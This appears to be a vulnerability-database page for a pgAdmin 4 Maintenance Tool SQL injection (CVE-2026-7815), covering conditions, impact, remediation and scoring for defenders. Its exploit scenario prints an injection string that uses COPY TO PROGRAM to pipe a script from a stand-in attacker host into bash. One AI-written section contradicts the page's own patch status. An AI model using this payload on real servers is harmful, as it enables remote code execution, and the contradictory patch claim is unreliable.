Skip to main content

pgAdmin 4 EUVDEUVD-2026-29083

| CVE-2026-7815 HIGH
SQL Injection (CWE-89)
2026-05-11 PostgreSQL GHSA-hp84-p2gq-6fvr
8.7
CVSS 4.0 · Vendor: PostgreSQL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to pgAdmin web interface
  2. Delivery
    Access Maintenance Tool with tools_maintenance permission
  3. Exploit
    Inject malicious SQL via JSON parameter
  4. Execution
    Break out to COPY TO PROGRAM statement
  5. Impact
    Execute OS commands on database host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must possess valid pgAdmin 4 authentication credentials with the tools_maintenance permission explicitly granted (not a default permission for read-only or developer roles). Requires an active PostgreSQL database connection configured in pgAdmin. The PostgreSQL server must allow COPY TO PROGRAM operations, which requires superuser privileges or the pg_execute_server_program role in PostgreSQL 11+, meaning the pgAdmin database connection must use a privileged account (common in administrative tooling but limits scope if connections use restricted service accounts). Exploitation is remote (AV:N) with low complexity (AC:L) and no user interaction required (UI:N) once authenticated. What LIMITS exploitation: the specific tools_maintenance permission is not granted by default to all pgAdmin users; organizations following least-privilege principles may restrict this permission to dedicated DBAs. Additionally, PostgreSQL instances hardened with pg_hba.conf restrictions, SELinux/AppArmor policies blocking shell execution from postgres processes, or network segmentation preventing outbound connections from database hosts reduce post-injection impact. The vulnerability does NOT require pgAdmin to be internet-facing if the attacker has internal network access.

Impact

Real-world risk is HIGH for environments with authenticated pgAdmin users. CVSS 8.8 accurately reflects the network-accessible attack vector (AV:N) with low complexity (AC:L) requiring only low-privilege authentication (PR:L) and no user interaction (UI:N), producing high impact across confidentiality, integrity, and availability. The vulnerability combines two dangerous primitives: SQL injection in a database administration tool and a direct path to OS command execution via PostgreSQL's COPY TO PROGRAM feature. However, exploitation requires specific preconditions that reduce attack surface compared to unauthenticated vulnerabilities: attackers must have valid pgAdmin credentials AND the tools_maintenance permission explicitly granted. EPSS score not available for assessment of exploitation probability. Not listed in CISA KEV, suggesting no confirmed widespread exploitation campaigns. No public proof-of-concept code identified in references, though the GitHub issue tracker link may contain technical details accessible to skilled attackers. SSVC factors favor prioritization: exploitation is likely automatable once authenticated (inject payload via API), technical impact is total (arbitrary OS commands on database host), and pgAdmin deployments are common in enterprise PostgreSQL environments. The fix availability in version 9.15 with clear remediation path elevates this to immediate patching priority for organizations running affected versions, especially if pgAdmin is exposed to untrusted internal users or if database hosts contain sensitive data or pivot opportunities.

Exploit ScenarioDerived

An attacker with valid pgAdmin credentials and tools_maintenance permission authenticates to the web interface, navigates to the Maintenance Tool for a connected PostgreSQL database, and initiates a VACUUM operation. In the buffer_usage_limit JSON field, they inject a payload like "1; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'; --" which breaks out of the intended parameter syntax. The malformed command reaches the PostgreSQL server, executes the injected COPY TO PROGRAM statement, downloads a reverse shell script, and executes it with the privileges of the PostgreSQL service account, granting the attacker OS-level access to the database host for data exfiltration, persistence, or lateral movement.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

SQL injection in pgAdmin 4 Maintenance Tool allows authenticated users with tools_maintenance permission to execute arbitrary SQL and escalate to operating-system command execution on PostgreSQL database hosts. Four JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) are concatenated unsafely into VACUUM/ANALYZE/REINDEX commands passed to psql. Attackers can break out of option syntax, inject SQL statements, and leverage PostgreSQL's COPY ... TO PROGRAM to achieve OS-level code execution. Fixed in version 9.15 via server-side allow-listing and proper input sanitization using qtIdent filter. EPSS data not available; no public exploit identified at time of analysis.

RemediationAI

Upgrade to pgAdmin 4 version 9.15 or later, which implements server-side allow-listing for buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, and reindex_tablespace fields and replaces manual quoting with the qtIdent filter for identifier sanitization. Download the patched version from https://www.pgadmin.org/download/ or update via your package manager (apt, yum, Homebrew, Docker registry). Verify successful upgrade by checking Help > About shows version 9.15+. If immediate patching is not feasible, implement compensating controls: revoke tools_maintenance permission from all non-administrative users via pgAdmin's role management interface (trade-off: breaks legitimate maintenance workflows for power users); restrict pgAdmin access to trusted administrator workstations via firewall rules or VPN (trade-off: reduces operational flexibility); enable PostgreSQL query logging and monitor for suspicious COPY TO PROGRAM or shell command invocations in logs (trade-off: performance overhead and delayed detection). Network segmentation between pgAdmin servers and database hosts limits lateral movement post-compromise but does not prevent initial SQL injection. Review and minimize use of PostgreSQL superuser privileges for connections initiated from pgAdmin. Full technical details and patch commits are available in the referenced GitHub issue.

Affected VersionsENISA

pgAdmin 4 7.6 <9.15

Affected Packages

pypi pgadmin4 fix: 9.15
euvd pgadmin_4 fix: 9.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pgAdmin 4 is the web-based administration and development platform for PostgreSQL databases. The Maintenance Tool generates database maintenance commands (VACUUM, ANALYZE, REINDEX) from user-supplied parameters. The vulnerability stems from unsafe string concatenation of four JSON input fields directly into SQL command strings before passing them to the psql command-line client via the --command flag. This classic second-order injection occurs because user-controlled input flows through the web application into dynamically constructed SQL without proper escaping or parameterization. The reindex_tablespace field relied on manual quoting instead of PostgreSQL's qtIdent identifier-quoting function. When these malformed commands reach the PostgreSQL server, attackers can inject arbitrary SQL, including COPY ... TO PROGRAM statements that invoke shell commands on the database host operating system, bridging from SQL injection to remote code execution.

Know when Pgadmin 4 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (PostgreSQL) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (PostgreSQL).

CVSS VectorVendor: PostgreSQL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Patch available
May 11, 2026 - 17:17 EUVD
CVSS changed
May 11, 2026 - 16:22 NVD
8.8 (HIGH) 8.7 (HIGH)
CVE Published
May 11, 2026 - 14:35 nvd
HIGH 8.8

DescriptionCVE.org

SQL injection vulnerability in pgAdmin 4 Maintenance Tool.

Four user-supplied JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) were concatenated directly into the rendered VACUUM/ANALYZE/REINDEX command and passed to psql --command. An authenticated user with the tools_maintenance permission could break out of the option syntax and execute arbitrary SQL on the connected PostgreSQL server. The injected SQL could in turn invoke COPY ... TO PROGRAM to escalate to operating-system command execution on the database host.

Fix introduces server-side allow-listing of all four fields and switches reindex_tablespace from manual quoting to the qtIdent filter.

This issue affects pgAdmin 4: before 9.15.

Executive ViewAI

Why It Matters

pgAdmin 4 versions prior to 9.15 contain a SQL injection vulnerability in the Maintenance Tool that allows authenticated users with maintenance permissions to execute arbitrary operating system commands on PostgreSQL database servers. This directly threatens database confidentiality and integrity for any organization using pgAdmin to manage PostgreSQL infrastructure, potentially enabling attackers to extract sensitive data or compromise database availability.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict tools_maintenance permission to trusted administrative users only and disable for service accounts; (2) implement network segmentation to limit pgAdmin access from untrusted networks; (3) enable and monitor PostgreSQL audit logging for VACUUM/ANALYZE/REINDEX commands with unusual parameters; (4) disable pgAdmin Maintenance Tool functionality if not actively required. Note: These controls reduce but do not eliminate risk-patch deployment to version 9.15 is mandatory.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2024-2044 CRITICAL POC
9.9 Mar 07

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling

CVE-2024-3116 CRITICAL POC
9.8 Apr 04

pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr

CVE-2026-12046 CRITICAL POC
9.5 Jun 18

Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1

CVE-2022-4223 HIGH POC
8.8 Dec 13

The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post

CVE-2024-9014 MEDIUM POC
6.5 Sep 23

pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS

CVE-2025-12762 CRITICAL
9.8 Nov 13

Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma

CVE-2026-12045 CRITICAL
9.4 Jun 18

Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content

CVE-2026-17351 CRITICAL
9.4 Jul 31

SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the

CVE-2026-17566 CRITICAL POC
9.4 Jul 31

OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_

CVE-2026-7813 CRITICAL
9.4 May 11

Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'

CVE-2024-4216 MEDIUM POC
5.4 May 02

pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS

Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Python 3 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy